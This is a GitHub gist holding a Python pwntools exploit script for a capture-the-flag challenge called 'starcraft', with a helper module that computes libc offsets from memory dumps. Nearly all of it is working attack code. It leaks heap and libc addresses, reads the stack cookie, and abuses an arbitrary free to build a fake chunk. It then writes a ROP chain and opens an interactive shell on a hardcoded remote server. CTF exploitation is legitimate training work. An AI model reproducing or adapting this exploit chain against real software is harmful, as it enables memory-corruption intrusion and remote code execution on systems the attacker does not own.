Skip to content

Instantly share code, notes, and snippets.

@sroettger
Created June 6, 2016 01:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sroettger/87a45e8c4208e44fc63f9d275715aeb9 to your computer and use it in GitHub Desktop.
Save sroettger/87a45e8c4208e44fc63f9d275715aeb9 to your computer and use it in GitHub Desktop.
alictf starcraft exploit
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import struct
import sys
import struct
import pwn
from find_offset import get_libc_off, MyException
pwn.context.update(arch='amd64')
class Starcraft(object):
def __init__(self, remote=False, gdb=False, ltrace=False):
stderr_fd = open('ltrace.out', 'w')
if remote:
self.r = pwn.remote('121.40.56.102', 9776)
else:
if gdb:
self.r = pwn.process(['./starcraft'])
pwn.gdb.attach(self.r, '''c''')
else:
if ltrace:
self.r = pwn.process(['ltrace', './starcraft'], stderr = stderr_fd)
else:
self.r = pwn.process(['./starcraft'], stderr = stderr_fd)
def skip_prompt(self):
return self.r.readuntil('>')
def new_unit(self, type, name):
self.skip_prompt()
self.r.sendline('1')
self.r.readuntil('?')
self.r.sendline(type)
if len(name) > 0:
self.r.readuntil(':')
self.r.sendline(name)
def unit_details(self, index):
self.skip_prompt()
self.r.sendline('3')
self.r.readuntil(':')
self.r.sendline(str(index))
return (self.r.readline()[len(' Name: '):].rstrip('\n'), self.r.readline()[len('HP: '):],
self.r.readline()[len('Dmage: '):], self.r.readline()[len('Armor: '):],
self.r.readline()[len('Supply: '):])
def delete_unit(self, index):
self.skip_prompt()
self.r.sendline('5')
self.r.readuntil(':')
self.r.sendline(str(index))
return self.r.readline()
def exit(self):
self.skip_prompt()
self.r.sendline('6')
return self.r.readline()
def form_army(self):
self.skip_prompt()
self.r.sendline('4')
def army_add_unit(self, index):
self.skip_prompt()
self.r.sendline('1')
self.r.sendline(str(index))
return self.r.readline()
def army_clear_all(self):
self.skip_prompt()
self.r.sendline('2')
return self.r.readline()
def army_quit(self):
self.skip_prompt()
self.r.sendline('4')
def free_names(self, indexes):
self.form_army()
for index in indexes:
self.army_add_unit(index)
self.army_clear_all()
self.army_quit()
def clear_array(self):
for i in reversed(range(32)):
self.skip_prompt()
self.r.sendline('5')
self.r.readuntil('Input the id of unit:')
self.r.sendline(str(i))
def read(self, addr):
self.clear_array()
# read / free arbitrary addr
self.new_unit('stalker', 'A' * 0x18)
self.free_names([0])
self.new_unit('stalker', 'B' * 0x30)
self.new_unit('stalker', 'C' * 0x36)
self.free_names([0])
self.new_unit('stalker', pwn.flat(addr) * 4)
# read arbitrary value
return self.unit_details(2)[0]
def free(self, addr, data):
self.clear_array()
for i in range(0x14):
self.new_unit('stalker', pwn.flat(addr)*4)
self.new_unit('stalker', pwn.flat(addr)*4)
# TODO
self.free_names([0])
self.new_unit("stalker", 'B'*0x30)
self.new_unit(data, '')
def read_ptr(self, addr):
data = ''
while len(data) < 8:
new_data = self.read(addr+len(data))
if len(new_data) == 0:
data += '\x00'
else:
data += new_data
return struct.unpack('<Q', data[:8])[0]
def ptr_leak(leak_buf):
if len(leak_buf) > 8:
leak_buf = leak_buf[:8]
while len(leak_buf) < 8:
leak_buf += '\x00'
return struct.unpack('<Q', leak_buf)[0]
def main():
remote = True
gdb = False
ltrace = False
#sc = Starcraft(gdb=True)
sc = Starcraft(remote=remote, gdb=gdb, ltrace=ltrace)
# heap ptr leak
sc.new_unit('stalker', 'A' * 4)
sc.free_names([0])
sc.new_unit('stalker', 'A' * 0x16)
heap_addr = ptr_leak(sc.unit_details(0)[0])
print '[*] heap ptr: 0x{:x}'.format(heap_addr)
libc_guess = heap_addr - 0x1500000
libc_addr = libc_guess + get_libc_off(sc.read(libc_guess))
print '[*] libc at: 0x{:x}'.format(libc_addr)
stack_end_ptr_off = 0xb01e60
stack_addr = sc.read_ptr(libc_addr + stack_end_ptr_off)
print '[*] stack at: 0x{:x}'.format(stack_addr)
stack_buf_off = 0x1e0
stack_buf_addr = stack_addr - stack_buf_off
cookie_addr = libc_addr + 0xcda7a8
print '[*] stack buf at: 0x{:x}'.format(stack_buf_addr)
print '[*] looking for cookie at: 0x{:x}'.format(cookie_addr)
bin_off = 0xb04000
cookie = sc.read_ptr(cookie_addr)
print '[*] cookie: 0x{:x}'.format(cookie)
sc.clear_array()
fake_malloc = pwn.flat(0x40).rjust(112, 'A')
breakpoint = libc_addr + bin_off + 0x2095
# if gdb == False and ltrace == False:
# pwn.gdb.attach(sc.r, '''
#break *0x{:x}
#c
# '''.format(breakpoint))
sc.free(stack_buf_addr+len(fake_malloc), fake_malloc)
rop2 = ''
rop2 += pwn.flat(libc_addr+0x0000000000022b9a)
rop2 += pwn.flat(libc_addr + 0x17C8C3)
rop2 += pwn.flat(libc_addr + 0x46590)
fake_malloc = "stalkerA"
fake_malloc += rop2
fake_malloc = fake_malloc.ljust(104, 'A') + pwn.flat(0x40)
rop = pwn.flat(libc_addr+ 0x37f8) #pop rsp, ret
rop += pwn.flat(stack_buf_addr+8)
#rop = "A"*8 + "B"*7 + "\x00"
rop = pwn.flat(cookie) * 5 + rop
rop = rop.rstrip("\x00")
# if gdb == False and ltrace == False:
# pwn.gdb.attach(sc.r, '''
#break *0x{:x}
#c
# '''.format(libc_addr + bin_off + 0x2115))
sc.new_unit(fake_malloc, rop)
#sc.exit()
sc.r.interactive()
if __name__ == "__main__":
for i in range(100):
try:
main()
break
except EOFError:
pass
except MyException as e:
print e
except struct.error:
pass
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
class MyException(BaseException):
def __init__(self, error, msg):
self.error = error
self.msg = msg
def __str__(self):
return '{}: {}'.format(self.error, self.msg)
def get_libc_off(s):
data = ''
libc_base = 0
end = 0
base = 0
for line in open("./maps", "r").readlines():
if '[heap]' in line:
break
parts = line.split(' ')
addrs = map(lambda x: int(x, 16), parts[0].split('-'))
if base == 0:
base = addrs[0]
if 'libc-2.19.so' in line and libc_base == 0:
libc_base = addrs[0]
break
assert(libc_base != 0)
data = ''
with open("./mem", "r") as fd:
data = fd.read()
off = data.find(s)
if off < 0:
raise MyException(-1, "not found")
if data[off+1:].find(s) >= 0:
raise MyException(-2, "value found multiple times")
#print '[*] off: 0x{:x}'.format(off)
#print '[*] libc_base: 0x{:x}'.format(libc_base)
#print '[*] base: 0x{:x}'.format(base)
#print '[*] ret: 0x{:x}'.format(libc_base - base - off)
return libc_base - base - off
#try:
# print hex(get_libc_off(sys.argv[1].decode('hex')))
#except MyException as e:
# print e
#
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment